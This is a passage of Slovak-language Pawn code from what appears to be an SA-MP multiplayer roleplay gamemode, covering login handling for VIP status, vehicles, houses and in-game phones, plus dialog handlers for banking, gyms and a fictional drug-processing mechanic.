                        format(hway,32, "SL/Server/Houses/House%d.cfg", v);

                        for(new s=0; s<HouseStates[v][Vehicles]; s++)
                        {
                            new v_id[16];
                            format(v_id,16, "V%d_id", s);

                            if(dini_Int(hway, v_id) > 0)
                            {
                                new v_neons[32];
                                format(v_neons,32, "V%d_neons", s);

                                if(dini_Int(hway,v_neons)!=0)
                                {
                                    if(CarNeons[s][v] == true)
                                    {
                                        DestroyObject(CarNeon1[s][v]);
                                        DestroyObject(CarNeon2[s][v]);
                                    }

                                    CarNeon1[s][v] = CreateObject(dini_Int(hway, v_neons), -0.66, 0.04, -0.48,   0.00, 0.00, 0.00);
                                    CarNeon2[s][v] = CreateObject(dini_Int(hway, v_neons), 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                                    AttachObjectToVehicle(CarNeon1[s][v], Car[s][v], -0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                                    AttachObjectToVehicle(CarNeon2[s][v], Car[s][v], 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);

                                    CarNeons[s][v] = true;
                                }
                            }
                        }
                    }

                    //=============== VIP ======================================

                    if(dini_Int(way,"VIP_Days")>=1)
                    {
                        new timeway[32]="SL/Server/ServerTime.cfg";
                        new servertime = dini_Int(timeway,"Time");

                        dini_IntSet(way,"VIP",dini_Int(way,"VIP_Tarif"));
                        dini_IntSet(way,"VIP_Time", servertime + (dini_Int(way,"VIP_Days")*1440));

                        new vipmsg[70],
                            viptarif[16]
                        ;
                             if(dini_Int(way,"VIP")==1) viptarif="Bronze";
                        else if(dini_Int(way,"VIP")==2) viptarif="Silver";
                        else if(dini_Int(way,"VIP")==3) viptarif="Gold";
                        format(vipmsg,70,"[  VIP  ] Dostal si VIP Tarif %s na %d dní !", viptarif, dini_Int(way,"VIP_Days"));
                        SendClientMessage(playerid,COLOR_GOLD,vipmsg);
                        
                        if(!dini_Isset(way, "VIP_PW"))
                        {
                            new password[11];
                            format(password, 11, "%s", RandomPassword());
                            
                            dini_Set(way, "VIP_PW", lyrhash(password));
                            
                            new vip2msg[150];
                            format(vip2msg,150,"[  VIP  ] Tvoje VIP heslo je: {ff0000}%s{ffcc00}. Toto heslo si niekde dobre zapíš, pretože heslo nebude možné znovu obnoviť !", password);
                            SendClientMessage(playerid,COLOR_GOLD, vip2msg);
                            SendClientMessage(playerid,COLOR_GOLD,"Pre zmenu hesla použi: /vpassword     |     Pre prihlásenie do VIP Systému použi: /vlogin");
                        }

                        if(dini_Int(way,"VIP_Bonus") == 1)
                        {
                            new bonus;

                                 if(dini_Int(way,"VIP")==1) bonus=15000000;
                            else if(dini_Int(way,"VIP")==2) bonus=30000000;
                            else if(dini_Int(way,"VIP")==3) bonus=50000000;

                            new pbVIPc[70];
                            format(pbVIPc,70, "Bol ti automaticky pridany do banky VIP Bonus %d$ !", bonus);
                            SendClientMessage(playerid, COLOR_GOLD, pbVIPc);

                            Player[playerid][Bank] += bonus;
                        }

                        dini_IntSet(way,"VIP_Tarif",0);
                        dini_IntSet(way,"VIP_Days",0);
                        dini_IntSet(way,"VIP_Bonus",0);
                    }

                    ////////////////////////////////////////////////////////////////////////

                    if(dini_Int(way,"VIP_Time") < dini_Int("SL/Server/ServerTime.cfg","Time"))
                    {
                        if(dini_Int(way,"VIP")>0)
                        {
                            SendClientMessage(playerid,COLOR_WARNING,"[  !  ] Vypršalo ti VIP !");
                            
                            ////////////////////////////////////////////////////
                            
                            for(new v=3; v<5; v++)
                            {
                                if(PlayerVehicle_State[v][playerid] == true)
                                {
                                    new v_id[16]; format(v_id,16,"V%d_id", v);
                                    new v_sell[16]; format(v_sell,16,"V%d_sell", v);
                                    new v_neons[16]; format(v_neons,16,"V%d_neons", v);
                                    new v_wheels[16]; format(v_wheels,16,"V%d_wheels", v);
                                    new v_spoiler[16]; format(v_spoiler,16,"V%d_spoiler", v);
                                    new v_pn[16]; format(v_pn,16,"V%d_pn", v);
                                    new v_pj[16]; format(v_pj,16,"V%d_pj",v);
                                    new v_snL[16]; format(v_snL,16,"V%d_snL", v);
                                    new v_snR[16]; format(v_snR,16,"V%d_snR", v);
                                    new v_zn[16]; format(v_zn,16,"V%d_zn", v);
                                    new v_exhaust[16]; format(v_exhaust,16,"V%d_exhaust", v);
                                    new v_nitro[16]; format(v_nitro,16,"V%d_nitro", v);
                                    new v_hyd[16]; format(v_hyd,16,"V%d_hyd", v);
                                    new v_roof[16]; format(v_roof,16,"V%d_roof", v);
                                    new v_color1[16]; format(v_color1,16,"V%d_color1", v);
                                    new v_color2[16]; format(v_color2,16,"V%d_color2", v);
                                    new v_spz[16]; format(v_spz,16,"V%d_spz", v);
                                    new V_posX[16]; format(V_posX,16,"V%d_posX", v);
                                    new V_posY[16]; format(V_posY,16,"V%d_posY", v);
                                    new V_posZ[16]; format(V_posZ,16,"V%d_posZ", v);
                                    new V_angle[16]; format(V_angle,16,"V%d_angle", v);

                                    new strng[256];
                                    format(strng, 256, "Tvoje vozidlo %s bolo automaticky odpredáne pretože ti vypršalo VIP !", VehicleName[dini_Int(way, v_id) - 400]);
                                    SendClientMessage(playerid, COLOR_WARNING, strng);
                                    
                                    GivePlayerACMoney(playerid, dini_Int(way, v_sell));

                                    if(PlayerVehicle_State[v][playerid] == true)
                                    {
                                        if(PlayerVehicleNeons[v][playerid] == true)
                                        {
                                            PlayerVehicleNeons[v][playerid] = false;
                                            DestroyObject(PlayerVehicleNeon1[v][playerid]);
                                            DestroyObject(PlayerVehicleNeon2[v][playerid]);
                                        }

                                        PlayerVehicle_State[v][playerid]=false;

                                        DestroyVehicleEx(PlayerVehicle[v][playerid]);
                                    }

                                    dini_FloatSet(way,V_angle,0.000000);
                                    dini_IntSet(way,v_id,0);
                                    dini_IntSet(way,v_sell,0);
                                    dini_IntSet(way,v_neons,0);
                                    dini_IntSet(way,v_wheels,0);
                                    dini_IntSet(way,v_spoiler,0);
                                    dini_IntSet(way,v_pn,0);
                                    dini_IntSet(way,v_pj,9999);
                                    dini_IntSet(way,v_snL,0);
                                    dini_IntSet(way,v_snR,0);
                                    dini_IntSet(way,v_zn,0);
                                    dini_IntSet(way,v_exhaust,0);
                                    dini_IntSet(way,v_nitro,0);
                                    dini_IntSet(way,v_hyd,0);
                                    dini_IntSet(way,v_roof,0);
                                    dini_IntSet(way,v_color1,0);
                                    dini_IntSet(way,v_color2,0);
                                    dini_Set(way,v_spz,"SL-000XX");
                                    dini_FloatSet(way,V_posX,0.000000);
                                    dini_FloatSet(way,V_posY,0.000000);
                                    dini_FloatSet(way,V_posZ,0.000000);
                                }
                            }

                            ////////////////////////////////////////////////////

                            if(Player[playerid][HouseP]!=9999)
                            {
                                if(HouseStates[Player[playerid][HouseP]][IsHouseVIP]==true)
                                {
                                    SendClientMessage(playerid,COLOR_WARNING,"[  !  ] Tvoj dom bol odpredány pretože ti vypršalo VIP, bola ti vrátena plná suma (do banky) z ceny domu");
                                    new way2[32];
                                    format(way2,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                                    Delete3DTextLabel(House_V[Player[playerid][HouseP]][Text3D]);
                                    Player[playerid][Bank] += HouseStates[Player[playerid][HouseP]][Price];
                                         if(HouseStates[Player[playerid][HouseP]][IsHouseVIP]==false) House_V[Player[playerid][HouseP]][Text3D] = Create3DTextLabel("[ House ]\nVoľný dom",0xFF0000FF,HouseStates[Player[playerid][HouseP]][E_x],HouseStates[Player[playerid][HouseP]][E_y],HouseStates[Player[playerid][HouseP]][E_z],50,0);
                                    else if(HouseStates[Player[playerid][HouseP]][IsHouseVIP]==true)  House_V[Player[playerid][HouseP]][Text3D] = Create3DTextLabel("[ VIP House ]\nVoľný dom",0xFF0000FF,HouseStates[Player[playerid][HouseP]][E_x],HouseStates[Player[playerid][HouseP]][E_y],HouseStates[Player[playerid][HouseP]][E_z],50,0);
                                    dini_IntSet(way2,"State",0);
                                    dini_Set(way2,"Majitel","-none-");

                                    for(new s=0; s<5; s++)
                                    {
                                        new v_id[16]; format(v_id,16,"V%d_id",s);
                                        
                                        if(dini_Int(way2,v_id)!=0)
                                        {
                                            DestroyVehicleEx(Car[s][Player[playerid][HouseP]]);
                                            
                                            Car_State[s][Player[playerid][HouseP]]=false;

                                            if(CarNeons[s][Player[playerid][HouseP]] == true)
                                            {
                                                CarNeons[s][Player[playerid][HouseP]] = false;
                                                
                                                DestroyObject(CarNeon1[s][Player[playerid][HouseP]]);
                                                DestroyObject(CarNeon2[s][Player[playerid][HouseP]]);
                                            }
                                        }
                                        dini_IntSet(way2,v_id,0);
                                        new v_name[16]; format(v_name,16,"V%d_name",s);
                                        dini_Set(way2,v_name,"-none-");
                                        new v_sell[16]; format(v_sell,16,"V%d_sell",s);
                                        dini_IntSet(way2,v_sell,0);
                                        new v_neons[16]; format(v_neons,16,"V%d_neons",s);
                                        dini_IntSet(way2,v_neons,0);
                                        new v_wheels[16]; format(v_wheels,16,"V%d_wheels",s);
                                        dini_IntSet(way2,v_wheels,0);
                                        new v_spoiler[16]; format(v_spoiler,16,"V%d_spoiler",s);
                                        dini_IntSet(way2,v_spoiler,0);
                                        new v_pn[16]; format(v_pn,16,"V%d_pn",s);
                                        dini_IntSet(way2,v_pn,0);
                                        new v_pj[16]; format(v_pj,16,"V%d_pj",s);
                                        dini_IntSet(way,v_pj,9999);
                                        new v_snL[16]; format(v_snL,16,"V%d_snL",s);
                                        dini_IntSet(way2,v_snL,0);
                                        new v_snR[16]; format(v_snR,16,"V%d_snR",s);
                                        dini_IntSet(way2,v_snR,0);
                                        new v_zn[16]; format(v_zn,16,"V%d_zn",s);
                                        dini_IntSet(way2,v_zn,0);
                                        new v_exhaust[16]; format(v_exhaust,16,"V%d_exhaust",s);
                                        dini_IntSet(way2,v_exhaust,0);
                                        new v_nitro[16]; format(v_nitro,16,"V%d_nitro",s);
                                        dini_IntSet(way2,v_nitro,0);
                                        new v_hyd[16]; format(v_hyd,16,"V%d_hyd",s);
                                        dini_IntSet(way2,v_hyd,0);
                                        new v_roof[16]; format(v_roof,16,"V%d_roof",s);
                                        dini_IntSet(way2,v_roof,0);
                                        new v_color1[16]; format(v_color1,16,"V%d_color1",s);
                                        dini_IntSet(way2,v_color1,0);
                                        new v_color2[16]; format(v_color2,16,"V%d_color2",s);
                                        dini_IntSet(way2,v_color2,0);
                                    }

                                    House_V[Player[playerid][HouseP]][State]=0;
                                    House_V[Player[playerid][HouseP]][Lock]=0;
                                    Player[playerid][IPIP]=false;
                                    Player[playerid][HouseP]=9999;

                                }
                            }

                            dini_IntSet(way,"VIP",0);
                            dini_IntSet(way,"VIP_Time",0);
                            dini_IntSet(way,"VIP_Days",0);
                            dini_IntSet(way,"VIP_Tarif",0);
                        }
                    }

                    //---------------------------------------- MOBIL -------------------------------

                    if(!dini_Isset(way,"MobilNumber"))
                    {
                        for(new mobilnumber=100000; mobilnumber<999999; mobilnumber++)
                        {
                            new m_way[64];
                            format(m_way,sizeof(m_way),"SL/Server/MobilNumbers/%d.cfg", mobilnumber);
                            
                            if(!fexist(m_way))
                            {
                                dini_IntSet(way,"MobilNumber", mobilnumber);
                                Mobil[playerid][MobilNumber] = mobilnumber;

                                dini_Create(m_way);
                                dini_IntSet(m_way, "MobilNumber", mobilnumber); // telefonne cislo
                                dini_Set   (m_way, "Majitel", Name);             // meno majitela mobilu
                                dini_IntSet(m_way, "Contacts", 0);               // nema ziadne kontakty
                                dini_IntSet(m_way, "Ringtone", 1);               // nastavi vyzvanaci ton cislo 1 (standard)
                                dini_IntSet(m_way, "RT_Lenght", 5);               // nastavi dlzku vyzvanania na 5 sekund
                                dini_IntSet(m_way, "Songs", 0);                  // nema ziadne pesnicky
                                dini_IntSet(m_way, "Messages", 0);              // nema ziadne spravy

                                for(new c=0; c<30; c++) // maximalne 30 kontaktov
                                {
                                    new con1[32];
                                    new con2[32];
                                    format(con1,32,"C%d_use", c);
                                    format(con2,32,"C%d_number", c);

                                    dini_IntSet(m_way,con1, 0); // nepouzity kontakt
                                    dini_IntSet(m_way,con2, 0);
                                }

                                for(new c=0; c<25; c++) // maximalne 25 sprav
                                {
                                    new msg1[32];
                                    new msg2[32];
                                    new msg3[32];
                                    format(msg1,32,"MSG%d_text", c);
                                    format(msg2,32,"MSG%d_from", c);
                                    format(msg3,32,"MSG%d_read", c);

                                    dini_Set   (m_way, msg1, " "); // ziadny text
                                    dini_IntSet(m_way, msg2, 0);  // cislo mobilu z ktoreho sprava prisla (0 - sprava neexistuje)
                                    dini_IntSet(m_way, msg3, 0);  // neprecitana sprava
                                }

                                new m9q_way[64];
                                format(m9q_way,64,"SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                                dini_Set   (m9q_way, "MSG0_text", "Vitame ta na serveri, toto je len testovacia sms, prosim, neodpovedaj na tuto sms. Admin team.");
                                dini_IntSet(m9q_way, "MSG0_from", 999999);
                                dini_IntSet(m9q_way, "MSG0_read", 1);

                                dini_IntSet(m9q_way, "Messages", 1);

                                break;
                            }
                        }
                    }
                    
                    ////////////////////////////////////////////////////////////
                    ////////////////////////////////////////////////////////////

                    //----------------------------------------------------------------------------------

                     if(Player[playerid][GPS]==true)
                    {
                        //--------------------< BANKS >---------------------//
                        SetPlayerMapIcon(playerid,0,1481.189,-1771.103,18.795,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,1,-1605.692,773.772,7.1875,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,2,2413.21,1120.802,10.82,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,40,300.537,-1609.149,33.094,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,41,2861.564,-1440.174,10.937,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,42,2302.998,-16.178,26.484,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,43,-2144.283,-2425.526,30.625,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,45,-2575.219,242.083,9.561,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,46,-1951.157,1344.648,7.188,52,0,MAPICON_LOCAL);
                        //--------------------< TEAMS >---------------------//
                        SetPlayerMapIcon(playerid,3,2512.238,-1665.44,13.72,62,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,4,2460.511,-1389.657,24.18,59,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,5,2681.585,-1402.5,30.65,60,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,6,2261.424,-1906.548,15.19,58,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,7,1275.044,-1662.776,19.734,30,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,8,2189.4,-2262.0,13.4,44,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,9,-1687.8872070313,-18.303468704224,3.5546875,43,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,10,1831.054,-1108.974,23.9,18,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,11,1341.356,-1675.227,17.715,38,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,12,2151.487,-1807.884,13.546,55,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,13,1554.952,-1675.59,16.195,30,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,14,2137.989,-1905.364,13.546,51,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,15,1576.791,-1479.614,14.212,11,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,16,1172.788,-1323.434,15.4,22,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,17,967.77,-1252.67,16.956,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,18,285.164,2002.722,17.64,19,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,37,1740.384,-1456.816,13.525,20,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,38,732.647,-1337.733,13.533,34,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,44,2333.949,51.892,26.484,30,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,67,-2178.4504394531,-223.88455200195,36.519073486328,61,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,68,-2521.3037109375,-624.64526367188,132.78244018555,5,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,69,-1605.5047607422,711.10198974609,13.8671875,30,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,70,-2026.3106689453,67.152297973633,28.691593170166,20,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,71,-1526.2415771484,485.71505737305,7.1796875,19,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,72,-2455.6298828125,503.88360595703,30.078125,30,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,73,-1643.1689453125,1385.2122802734,7.1796875,18,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,74,-1864.6663818359,-1559.3851318359,22.2109375,11,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,75,-2172.7509765625,680.07299804688,55.162162780762,23,0,MAPICON_LOCAL);
                        //--------------------< BRIGADY >-------------------//
                        SetPlayerMapIcon(playerid,76,2120.5112304688,-1790.2296142578,13.5546875,56,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,77,-1700.7366943359,28.815383911133,3.5546875,56,0,MAPICON_LOCAL);
                        //--------------------< SHOPS >---------------------//
                        //SetPlayerMapIcon(playerid,19,1359.905,-1854.288,13.570,32,0,MAPICON_LOCAL); //electro_shop
                        SetPlayerMapIcon(playerid,20,1835.0,-1681.7,13.4,48,0,MAPICON_LOCAL);
                        //SetPlayerMapIcon(playerid,21,1247.9,-1560,13.5,32,0,MAPICON_LOCAL); //urad
                        SetPlayerMapIcon(playerid,22,1938.247,-1772.414, 13.107,55,0,MAPICON_LOCAL); //fuel pump [0]   LS
                        SetPlayerMapIcon(playerid,23,1005.194,-933.600,  41.902,55,0,MAPICON_LOCAL); //fuel pump [1]   LS
                        SetPlayerMapIcon(playerid,47,-2023.372,156.928,28.835,55,0,MAPICON_LOCAL); //fuel pump [2]   SF
                        SetPlayerMapIcon(playerid,48,-1675.307,413.729,7.179,55,0,MAPICON_LOCAL); //fuel pump [2]   SF
                        SetPlayerMapIcon(playerid,49,-2407.228,975.950,45.296,55,0,MAPICON_LOCAL); //fuel pump [2]   SF
                        SetPlayerMapIcon(playerid,24,2400.602,-1981.754, 13.546,6,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,25,1368.864,-1279.882, 13.546,6,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,26,2419.980,-1508.989, 24.000,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,27,2244.416,-1665.357, 15.476,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,28,2397.921,-1899.110, 13.546,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,29,1199.266, -918.503, 43.120,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,30, 927.403,-1352.973, 13.376,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,31,2105.452,-1806.507, 13.554,29,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,32, 810.615,-1616.185, 13.546,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,33,1038.230,-1340.731, 13.741,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,34, 499.661,-1360.556, 16.359,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,35, 461.748,-1500.961, 31.042,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,39,2446.626,-1977.238, 13.546,27,0,MAPICON_LOCAL);
                        //sf + vidiek
                        SetPlayerMapIcon(playerid,50,2333.4094238281,61.598838806152,26.70578956604,6,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,51,2332.7509765625,75.168670654297,26.620975494385,29,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,52,1367.2220458984,248.55700683594,19.566932678223,29,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,53,-2093.4106445313,-2464.5834960938,30.625,6,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,54,-2155.08203125,-2460.7436523438,30.8515625,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,55,-2336.3225097656,-166.9799041748,35.5546875,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,56,-2625.8757324219,208.5,4.6864461898804,6,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,57,-2671.5483398438,258.2746887207,4.6328125,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,58,-2356.3681640625,1008.0089111328,50.8984375,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,59,-1912.2045898438,828.01928710938,35.212711334229,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,60,-1882.6011962891,866.30017089844,35.171875,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,61,-1816.5123291016,617.82867431641,35.171875,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,62,-1694.9097900391,951.68878173828,24.890625,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,63,-1721.7735595703,1359.7717285156,7.1853160858154,29,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,64,-2523.7309570313,1216.1951904297,37.428329467773,29,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,65,-2374.5075683594,910.30676269531,45.4453125,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,66,-1808.4222412109,945.59234619141,24.890625,29,0,MAPICON_LOCAL);
                        //--------------------< RACES >--------------------//
                        SetPlayerMapIcon(playerid,36,1636.961,-1883.375,25.241,53,0,MAPICON_LOCAL);
                        //--------------------< GYMS >---------------------//
                        SetPlayerMapIcon(playerid,78,2229.671,-1721.729,13.565,54,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,79,-2269.769,-156.024,35.320,54,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,80,1809.744,-1167.061,24.226,54,0,MAPICON_LOCAL);
                        //--------------------< CAR SHOPS >-----------------//
                        SetPlayerMapIcon(playerid,81,-1960.6163330078,305.33749389648,35.473926544189,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,82,-1659.5346679688,1220.4112548828,7.25,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,83,2131.8208007813,-1150.4176025391,24.159635543823,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,84,414.82418823242,2535.1804199219,19.1484375,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,85,2089.6667480469,-2080.5969238281,13.546875,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,86,2506.4636230469,-1746.0355224609,13.500896453857,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,87,-2579.7580566406,310.21548461914,5.1796879768372,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,88,1628.2923583984,600.22668457031,1.7578125,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,89,848.46783447266,-1817.9799804688,12.193820953369,27,0,MAPICON_LOCAL);
                    }
                    
                    SetSpawnInfo(playerid, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
                    SpawnPlayer(playerid);
                }
            }
        }
        ////////////////////////////////////////////////////////////////////////
           else if(dialogid == Dialog_Updates)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "{00bb00}Version 5.74", "{ffff70}- Zmenenie počasia\n- Pridáne vlastné vozidlá, 3 pre obyčajných hráčov, 5 pre VIP hráčov\n{c5c5c5}Zoznam vozidiel /vehicles\nMožnosť tunningu vozidla + trvalé ukládaie\nMožnosť kupiť si na vozidlo neony + trvalé ukládanie\nVozidlo sa dá trvalo zaparkovat príkazom /park\n{ffff70}- V mobilu možnosť poslať zvolenému kontaku priamu SMS-ku\n- Vylepšenie admin príkazu /unspec", "Cancel", "");
                }
                if(listitem == 1)
                {
                    ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "{00bb00}Version 5.75", "{ffff70}- Další typy počasia\n- Funkčnosť všetkých základných tuningárni a ukládania tuningu pri tunení\n- Pridáne ukládania paintjobu", "Cancel", "");
                }
                if(listitem == 2)
                {
                    ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "{00bb00}Version 5.76", "{ffff70}- Upraveny príkaz /pm [ ID ]\n- Zpraveny Tutorial (/tutorial alebo /help)\n- Pridáne animace - /animations", "Cancel", "");
                }
                if(listitem == 3)
                {
                    ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "{00bb00}Version 5.77", "{ffff70}- Upraveny mobil\n{c5c5c5}Upraveny zoznam prijatých zpráv\nZvýšená kapacita prijátych zpráv z 11 na 25\nZvýšená kapacita kontaktov z 12 na 30", "Cancel", "");
                }
            }
        }
        ////////////////////////////////////////////////////////////////////////
           else if(dialogid == Dialog_BankGen)
        {
            if(response == 1)
            {
                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_BankSet,DIALOG_STYLE_INPUT,"Banka","Zadaj čiastku ktoru chceš vložiť do banky:","Vložiť","Cancel");
                if(listitem == 1) ShowPlayerDialog(playerid,Dialog_BankGet,DIALOG_STYLE_INPUT,"Banka","Zadaj čiastku ktoru chceš vybrať z banky:","Vybrať","Cancel");
            }
            if(response == 0)
            {
                Player[playerid][IPIP]=false;
                PlayerCameraBack(playerid);
            }
        }
        ////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_BankSet)
        {
            if(response == 1) BankSetMoney(playerid, inputtext);
            if(response == 0)
            {
                Player[playerid][IPIP]=false;
                PlayerCameraBack(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_BankGet)
        {
            if(response == 1) BankGetMoney(playerid, inputtext);
            if(response == 0)
            {
                Player[playerid][IPIP]=false;
                PlayerCameraBack(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Crack_Menu)
        {
            new crackid = Player[playerid][CrackID];

            if(response == 1)
            {
                if(CrackStatus[crackid] == false)
                {
                    new string[256];

                    format(string, 256, "{c5c5c5}Počet gramov marihuany na 1 joint: {ffff70}3\n{c5c5c5}Čas na spracovánie 1 jointa: {ffff70}5{c5c5c5} sekund\nMomentálne máš u sebe {ffff70}%d{c5c5c5} gramov marihuany\nZadaj počet jointov kreré chceš vyrobiť:", Player[playerid][Marihuana]);

                    ShowPlayerDialog(playerid, Dialog_Crack_SetMarihuana, DIALOG_STYLE_INPUT, "{ffff00}Spracovánie marihuany", string, "Spracovat", "Cancel");
                }
                else Player[playerid][IPIP]=false;
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Crack_SetMarihuana)
        {
            new crackid = Player[playerid][CrackID];

            if(response == 1)
            {
                if(CrackStatus[crackid] == false)
                {
                    if(!strlen(inputtext)) return ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "Info Box", "{ff0000}Nezadal si počet !", "Cancel", "");
                    else if(strval(inputtext) <= 0) return ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "Info Box", "{ff0000}Neplatná hodnota !", "Cancel", "");
                    else if(Player[playerid][Marihuana] < (strval(inputtext) * 3)) return ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "Info Box", "{ff0000}Nemáš dostatok marihuany !", "Cancel", "");
                    else
                    {
                        Player[playerid][Marihuana] -= strval(inputtext) * 3;
                        
                        CrackStatus[crackid]=true;
                        CrackTimeLeft[crackid]=strval(inputtext)*5;
                        CrackPlayerID[crackid]=playerid;
                        CrackItems[crackid]=strval(inputtext);
                        
                        new string[256];
                        format(string,256, "~w~Pockaj ~y~%d~w~ sekund nez sa ti spracuje marihuana!", CrackTimeLeft[crackid]);
                        FormatPlayerInfoBox(playerid, "~g~Info Box", string, 2750);
                        
                        SetTimerEx("IsPlayerInPickupFalse", 3000, 0, "i", playerid);
                    }
                }
                else Player[playerid][IPIP]=false;
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Gym1)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid,"~g~Gym", "~w~Naucil si sa novy bojovy styl:~n~~y~BOX", 3000);
                Player[playerid][FightingStyle] = FIGHT_STYLE_BOXING;
                SetPlayerFightingStyle(playerid, Player[playerid][FightingStyle]);
                SetTimerEx("IsPlayerInPickupFalse", 3500, 0, "i", playerid);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Gym2)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid,"~g~Gym", "~w~Naucil si sa novy bojovy styl:~n~~y~KUNG FU", 3000);
                Player[playerid][FightingStyle] = FIGHT_STYLE_KUNGFU;
                SetPlayerFightingStyle(playerid, Player[playerid][FightingStyle]);
                SetTimerEx("IsPlayerInPickupFalse", 3500, 0, "i", playerid);
            }
